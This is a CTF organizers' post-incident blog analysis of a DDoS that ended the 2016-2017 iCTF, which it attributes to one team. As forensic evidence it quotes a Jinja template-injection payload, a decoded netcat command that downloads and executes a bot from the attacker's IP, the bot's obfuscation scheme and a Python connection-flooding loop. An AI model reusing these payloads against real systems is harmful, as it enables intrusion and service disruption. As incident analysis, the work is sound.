The 2016-2017 iCTF DDoS
On March 3rd, 2017, we ran the iCTF of the 2016-2017 school year. It was one of the largest online attack/defense CTF ever run, and definitely the largest hosted one. This blog post will cover the events that brought us here, the main issue the iCTF ran into, and the in-depth analysis that we ran in order to understand what exactly went wrong.
Several hours before completion of the game, the iCTF was brought down by an illegal (rules-wise, not law-wise) a rule-violating Distributed Denial of Service attack launched by the second-place team (LC/BC) against the first-place team (Bushwhackers). While the attack was probably meant to take down Bushwhackers and ensure LC/BC's victory, it had the ironic effect of shutting down the game at an exact point where Bushwhackers were (barely) ahead, sealing LC/BC in second place. After much deliberation, we decided to disqualify LC/BC from the 2016-2017 iCTF for launching this DDoS.
The iCTF is one of the longest-running Capture the Flag competitions out there. We started in 2003, and have run every school year since. That's an important subtlety: the iCTF has, for most of its life, been an academic CTF. This meant that, until this year, teams had to be made of students and had to provide a professor as an academic point-of-contact. This provided a great environment for students to learn about computer security, but also had another effect: in the case of problems (such as, say, one team DDoSing others), we could reach out to a professor that had a) the authority, b) the maturity, and c) the desire to preserve their reputation and could shut the problems down quickly.
While this made the games themselves less prone to attack, it also left us less prepared for a competition where the players had much less accountability. This year, with the iCTF opening itself to all players, regardless of academic status, the iCTF was such a competition. We assumed a good-faith effort on the parts of the participants not to violate the rules. We were wrong, and that's on us. Next time, we will do better. However, just because we shouldn't have trusted everyone to be decent players, this does not mean that players get a free pass for taking advantage of that trust.
When the iCTF network melted down under the DDoS, and we eventually called the game over, LC/BC, who got 2nd place by a tiny margin, cried bloody murder. There's a right way to approach the question of "are you sure the results are legit," and there's a more aggressive way. They opted for the latter (from https://goo.gl/gBJ3NK):
From: Max Moroz To: [email protected] <snip> Stopping the game at the random moment == select a winner. In case if you wanted to say that those 41 flags from the gist above do not cover the final delta, I should say that we have many more flags that were not submitted due to issues on your side. We both understand it. Once the logs be released, we can see how many of our flags your system didn't count. Summary The longer you do not publish the logs, the more obvious it becomes that you see some issues in there. For example, since your API server had been confused with multiple authorization sessions, it probably could count submitted flags on behalf of incorrect teams, the same way as it has been throwing SSH keys in random sessions. How does it sound? Do you see random spikes in "Last Round Points" for random teams? In case if you need some extra time to clean up the logs, I would not recommend to do this, as it would be a complete dishonor when somebody proves the modification later. Looking forward to releasing the data and establishing transparency.
Allegations of our impartiality aside, they wanted an in-depth analysis, and we did one. In the rest of this document, we lay out our investigation into the DDoS that brought down the network and show our evidence that LC/BC was, in fact, responsible for that DDoS (which, obviously, is not an allowed move in CTF).
Imagine: it's 4am in the morning, and the organizers have not slept for over 20 hours. An exciting competition is shaping up between two teams: LC/BC and Bushwhackers. They both are within a few points of one another and fighting for the winner-take-all prize of a DEF CON CTF 2017 entry. Around the same time, the network performance starts degrading. The network slows down to a crawl and becomes unusable. Every attempt by the sleep-deprived organizers to restart the routing system is immediately foiled by a barrage of traffic from a number of teams. Ultimately, the organizers cannot get the network back up and decide to end the competition.
What happened? Keep reading to find out.
First, let's give you some basic understanding of how the network was laid out. Here is our "war range," a whole /17 network (because there were more than 254 teams).
Each team received one VM in the /17, hosted by us. Team VMs had IPs of 172.31.129.TEAM_ID for TEAM_IDs under 255 and 172.31.130.(TEAM_ID-254) for TEAM_IDs over 254. LC/BC, for the record, was TEAM_ID 274, which gave them the IP 172.31.130.20. This becomes important later.
All communication was routed through our central router, which masqueraded (anonymized), monitored, and controlled their traffic. During the competition, the router worked well until 4:30am, when it started to become overloaded. Based on the traffic logs, at 4:15 am, every team started initiating connections to Bushwhackers on several ports -- this included teams that had never even logged into their VMs. In other words, someone other than the owners, had taken enough control of the machines to initiate traffic towards Bushwhackers. This makes sense, as we did not adopt the seccomp sandboxing that has become popular in other attack-defense CTFs.
The raw number of connections per second was tolerable. However, the average connection length started to cause a problem. Since the connections were never properly disconnected, the average length of an open connection shot up from 2.3 seconds to 43.1 seconds. This means that roughly 40,000 to 80,000 connections were held open by the router.
The end result was that Bushwhackers was dead in the water and the router was barely able to pass through any other connections. The game was stopped.
Looking at the graph above, the traffic suddenly jumped at around 4:15am for Bushwhackers. The number of Bushwhackers-bound connections rose from an average of 11.5 connections per second to 521 connections per second. The average duration of the connections increased from 2.3 seconds to 43.1 seconds. This held for nearly every team.
The above graph shows three teams, chosen randomly from those still active at 4am. The near-simultaneous jump in traffic across all the teams seems unlikely to be caused by a normal progression of the game. Moreover, it is unlikely that all the teams suddenly decided to collude against Bushwhackers. Thus, this spike is likely due to an external source that caused the teams to start initiating those connections.
Needle in a Haystack?
We analyzed several team VMs to determine what caused the spike in connections. We started with one of the teams whose players had never logged in (we'll call this one "Team Rndm"). We knew what should have been on the machine, and we found some things that should not have been. Specifically, in /tmp, we found:
Note the broken symlinks there to /hui/pizda. For the record, here are the translations for hui and pizda from Russian (de-transliterated) to English. While these files were gone from Rndm's machine, by checking the logs of the flasking_unicorns service across several teams, we did find attack traffic that would cause this file to be created, such as:
GET /nice_try?next=/nice_try?qwe=123%7B%7B().__class__.__base__.__subclasses__()()._module.__builtins__[().__class__.__base__.__subclasses__()()._module.__builtins__.keys()](().__class__.__base__.__subclasses__()()._module.__builtins__[().__class__.__base__.__subclasses__()()._module.__builtins__.keys()](28531)[2:].decode(().__class__.__base__.__subclasses__()()._module.__builtins__.keys())).system(().__class__.__base__.__subclasses__()()._module.__builtins__[().__class__.__base__.__subclasses__()()._module.__builtins__.keys()](72972124064846007756595026691783025840304375086663582832834300809497899368234278311051663970255086482162180723180528984862257)[2:-1].decode(().__class__.__base__.__subclasses__()()._module.__builtins__.keys()))%7D%7D HTTP/1.1" 200 492 "-" "python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-107-generic
The large numerical value (729721240....8984862257) decodes as follows:
nc 2887746068 8080 >/tmp/.1;chmod +x /tmp/.1;/tmp/.1
The 2887746068 converts to 172.31.130.20, which is LC/BC's IP address.
A bot like the one installed by the command above is perfectly fine, but we felt that it was worth checking out. We grabbed an image of LC/BC's end-game VM to investigate, but found that they had completely overwritten the whole VM disk with /dev/zero. They were the only team to have done this. Our interest was really piqued now.
Interestingly, they hadn't cleared their disk from the first half of the competition (before all teams were moved to a new game network). On that machine, we found a proxy on port 8080 that proxied all traffic to 220.127.116.11, which is owned by the United States Department of Defense. The current political situation aside, we assumed that the US DOD was not collaborating with LC/BC, and that something else must have been happening. After some digging, a VPN configuration file was discovered that connected their instance back to 18.104.22.168 on ports 53 and 443 (creating a 172.31.0.0/16 network). In addition, a few iptables rules were found that forwarded incoming requests to 22.214.171.124/24.
iptables -A FORWARD -s 126.96.36.199/24 -d 172.31.0.0/16 -j ACCEPT iptables -A FORWARD -s 172.31.0.0/16 -d 188.8.131.52/24 -j ACCEPT iptables -t nat -A POSTROUTING -s 184.108.40.206/24 -d 172.31.0.0/16 -j MASQUERADE
For the record, 220.127.116.11 is currently the server hosting ctf.su (http://www.w3ju.com/w/ctf.su), which is the site of MSLC, the "LC" in LC/BC. This is still ok — if they want to pretend to be the DOD, more power to them. But things were looking rather juicy now.
At this point, the investigation would have really benefitted from a tcpdump that included port 8080. However, due to a configuration error, the iCTF router only captured traffic for the service ports (namely, 20001-20012).
Hoping that some teams did not make the same mistake, we scraped all team VMs for all PCAPs and, as expected, found several teams that had recorded all traffic. We'll call them team "Packrat," because the name fits their PCAP-saving behavior.
Packrat's PCAP contained all traffic, not just service traffic. However since the pcap files were collected on their machine, they contained just the traffic from and to team Packrat. Packrat's capture started at 11:05pm and stopped at 11:00am, which included the time period in question. Out of the entire pcap collection, the only non-service port traffic found was between Packrat and LC/BC. The ports being used were 3123, 8080, 37421, and 54981 with a total of 420,422 packets captured.
Port 3123 contained another netcat-something-into-tmp transaction. Port 8080 contained the netcatted binary. Port 37421 contained a bunch of obfuscated data, which we assumed was either exfiltrated flags or some other payload for the dropped bot (stay tuned!). There were 8,865 connections on this port alone, sent repeatedly and changing every once in a while. Port 54981 just contained RST packets.
We extracted the binary transferred over port 8080 to Packrats. We also identified the same binary in pcap files sourced from other teams as well. At this point, the reasonable assumption is that this binary might use the ports (and payloads) that we discussed previously, so we set out to reverse engineer it, in true CTF style.
The binary is a packed and obfuscated ELF. A cursory investigation revealed that it actually was UPX-packed, just with all the identifying information and magic numbers stripped out. Replacing all instances of '\x00\x00\x00!' with 'UPX!' was enough to allow UPX to unpack it.
It's a pretty standard CTF persistence binary, employing some fun tricks to stay hidden (constantly changing process IDs, replacing argv with a benign name randomly selected from a list of common linux services, making replicas of itself to prevent a single process from being killed, deleting its own executable after making an in-memory copy, etc.) while providing a backdoor onto the host. The program connects to LC/BC's IP (172.31.130.20) on ports 37421 and 54981, sends some identifying information, reads data, de-obfuscates it, and then executes it. The method used to obfuscate the message was to xor each byte with 0x8e and then add 34, which is easy to reverse.
One interesting bit of functionality is that, when the binary is running under the user "hellman," it prints "RUNNING UNDER hellman" and then exits, neutering its functionality. Considering that hellman is the nickname of an LC/BC team member, and combined with the fact that this binary was ultimately served up through a VPN operated by ctf.su, this pretty solidly confirms the binary's origin as LC/BC.
Interestingly, googling for some of the strings in the binary netted us a link to a malware analysis sandbox website, where it looks like a very similar binary had been uploaded several months ago under the filename "lcbc." The analysis sandbox itself is actually for windows programs, so it doesn't particularly accomplish much on this binary, but several strings match, including the "running under hellman" string. It looks like this isn't the first time LC/BC used this bot.
Decoding the Payload
With a method to decode the transmissions, we were able to see the data sent from LC/BC to Packrat. Using the method described, we decoded all of the messages sent from LC/BC to Packrat on port 37421. Specifically, a bash script would be sent to the program running on the compromised team's host, the program would execute the script, and it would return the results of the execution to LC/BC. The first several payloads we decoded simply leaked flags, which is a practice that we wholeheartedly support.
However, this is functionality that could very easily be turned to the dark side. Trying to rule this out, we looked at payloads that were sent right around when the DDoS began, at 4:15am. We discovered one previously-unseen payload, sent at precisely 4:15am.
The Smoking Gun
We decoded what became our smoking gun:
import time, socket while True: try: q = socket.create_connection(("2887745995", 20006)) # EDITOR'S NOTE: [email protected] while True: res = q.recv(1) if not res: break time.sleep(3) except: time.sleep(10)
This script would loop, constantly opening a connection to Bushwhackers, which is Team 203 with the IP address of 172.31.129.203, holding the connection open. Once enough teams were opening connections like this, the connection would fail, and the script would try again in 10 seconds. On its own, on one team, this would have been naughty but not disastrous. However, there were over 300 teams in the game. A script containing this endless loop was sent to Packrat 417 times (in 32 different variants for ports and other tweaks). Executing over 400 instances of this script across a large subset of teams would cause the spike in network connections that we have seen while examining the PCAPs.
LC/BC DDoSed the 2016-2017 iCTF, causing a premature end to the competition and, ironically, assuring Bushwhackers' victory: Karma is a bitch.
The analysis above is all after-the-fact. Of course, we did try to fight several different instances of DDoS during the game. On the game's IRC channel, it was made clear that this kind of attack was prohibited:
23:15 <@salls> DoS from large traffic or spamming is prohibited [...] 23:29 <@ltfish> Some teams: Please stop DoSing immediately - you cannot even do that from teams that you have root on. 23:29 <@ltfish> Some teams: otherwise we will take actions [...] 01:29 <@oceanx_> guys do what you want but no network dos allowed
Unfortunately, we were not listened to. This was one of the few rules of the iCTF: historically, we've allowed flag deletion, logical DoS, and even rm -rf /. The difference is that the allowed actions educate one team, not bring down the entire competition.
The iCTF rules clearly state that "denial-of-service attacks against the infrastructure or other teams are not tolerated, and are ground for being thrown out of the competition." LC/BC launched a DDoS via a botnet running on nearly all the team VMs. The binary came from the LC/BC IP address (172.31.130.20, proxied back to ctf.su, which is their server) and grabbed its payload from the same IP. The binary is neutered when the user id is hellman. Until 4:15am, they used this binary for stealing flags, which is awesome. At 4:15am, however, they went to the dark side and broke the rules.
There is no doubt: LC/BC cheated in this iCTF. Their primary motive would have been to win the competition, which means they intended to diminish Bushwhackers' capability to obtain and submit flags and to pass SLA checks. The difference between the score of LC/BC and Bushwhackers was less than 1%. If the attack had been properly scaled and not taken down the game network, it is quite possible the attack might have gone undetected and LC/BC would have won the competition.
We had extended team discussions about what to do about this occurrence. There were three options:
- LC/BC's cheating didn't change the outcome of who qualified for DEF CON CTF, since Bushwhackers still won. We could have kept quiet, taken their criticisms silently, and moved on with our lives.
- LC/BC cheated. We could have outed them in this blog post, but not messed with the results of the game. We definitely don't need that drama in our lives.
- LC/BC cheated. To preserve the integrity of the iCTF, we could retroactively disqualify them from the 2016-2017 iCTF.
After much deliberation, we decided to disqualify LC/BC from the 2016-2017 iCTF. While this does not matter much to, say, Bushwhackers, who are going to DEF CON regardless, it matters for the other teams, who are playing to learn or to have fun, whose game was cut short by a rule-violating attack. For them, we feel the obligation to preserve the integrity of the iCTF.
DDoS attacks are very easy to carry out and very lame. Being able to flood the infrastructure with connections does not show technical superiority, just a disregard for the other players' right to have fun and the organizers' work. We will shortly upload the scores for the 2016-2017 UCSB iCTF to CTFtime, with LC/BC removed. Since LC/BC runs CTFtime, it'll be interesting to see what happens. At the last event where LC/BC cheated (CODEGATE Finals 2016: https://CTFtime.org/event/317), the event weight was changed to 0. This might end up as a 0-rated iCTF, but at least it will be a fair one.
The 2016-2017 iCTF was the first iCTF hosted on Amazon's infrastructure, and despite the issues, the results are encouraging. Shortly, we will be generalizing the framework to allow anyone to host their own iCTF, encouraging cybersecurity education and making attack-defense CTFs easier than ever to run.
For next year, we are considering whether to maintain the newly-open nature of the iCTF or to close it again to only academic teams. We are interested in hearing opinions from the CTF community. If we do decide to keep the iCTF open to all, we have several ideas to fight such infrastructure-destroying attacks, both through technical and through game-design means. No matter what, though, we are committed to running a fun and fair attack-defense CTF for the community to enjoy!
Updates to the Document
After our initial publication, we have made some changes to the document. In the spirit of absolute transparency and completeness, no text has been removed, instead it has been crossed out. Specifically, we have updated:
- We added a table of contents.
- We clarified our language about the rule violations.
- We removed the suggestion that the weight for CODEGATE 2016 was set to 0 because LC/BC cheated, after a clarification from kyprizel.
Any further changes to the document will be documented here.
Please follow us on Twitter, where we will announce any future updates to this post: @UCSBiCTF.
Responses to our Findings
Since we have published the results of our investigation, one member of LC/BC has responded. We might comment on future responses on our findings here as well.
2017/04/04 - Response by kyprizel of LC/BC and CTFtime
kyprizel from LC/BC and maintainer of CTFtime posted a response to CTFtime.org:
We would like to take the opportunity to clarify some of the points:
- "illegal" was an unfortunate choice of words. As the article explicitly clarified in parentheses, we meant against the iCTF rules, not illegal. We have clarified the blog post to this effect. Obviously, no one should worry about legal issues or consequences when playing a CTF.
- The reason that finalizing the scoreboard took so long (more than the normal catching-up-on-sleep post-CTF) was specifically because LC/BC demanded a reckoning, and did so very aggressively.
- We removed the suggestion that the weight for CODEGATE 2016 Final Event was changed because LC/BC cheated. We are sorry that you got caught up in this: running these sorts of things is too often a thankless task. We look forward to the iCTF 2016-2017 being updated to a non-0 rating.